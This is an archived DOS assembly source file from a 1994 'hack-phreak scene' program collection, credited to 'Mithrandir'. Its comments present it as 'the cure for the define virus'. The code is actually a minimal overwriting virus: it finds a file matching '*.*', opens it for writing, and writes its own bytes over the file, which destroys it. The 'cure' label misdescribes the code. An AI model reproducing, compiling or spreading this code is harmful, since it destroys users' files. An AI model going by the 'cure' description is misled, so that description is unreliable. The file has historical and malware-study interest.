home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / DEFINE.ASM < prev    next >
Assembly Source File  |  1994-11-16  |  1KB  |  45 lines

  1. ;Gentlemen,
  2.  
  3. ;The following assembly source code is the cure for the define
  4. ;virus. Define, because it is my belief that by the definition
  5. ;of a virus, no stable virus can be written smaller than define.
  6. ; Code compiled under MASM ver 4.00
  7. ; Use DOS EXE2BIN to convert to .COM file
  8. ; Code assumes SI=100h, AX=00h
  9. ; (c) 1991 Mithrandir
  10.  
  11. TITLE   DEFINE
  12. CODE    SEGMENT
  13.  
  14. ASSUME  CS : CODE
  15. ORG     100h
  16.  
  17. VIRUS_CURE:
  18. XCHG    CX,AX                ;exchange register values and setup search
  19.                              ;for normal files
  20. MOV     AH,4Eh               ;setup search for first match
  21. MOV     DX,OFFSET File       ;point to search criteria
  22. INT     21h                  ;search for any normal file
  23.  
  24. MOV     AX,3D01h            ;setup open file with write access
  25. MOV     DX,09Eh             ;point to file ASCIIZ spec
  26. INT     21h                 ;open file
  27. XCHG    BX,AX
  28.  
  29. MOV     AH,40h             ;setup write to file
  30. MOV     DX,SI              ;write this code
  31. MOV     CX,SI              ;this many bytes
  32. INT     21h                ;write it
  33.  
  34. RET
  35.  
  36. File:
  37. DB      '*.*',0
  38.  
  39. CODE ENDS
  40.  
  41. END VIRUS_CURE
  42.  
  43. ;Mithrandir
  44.  
  45.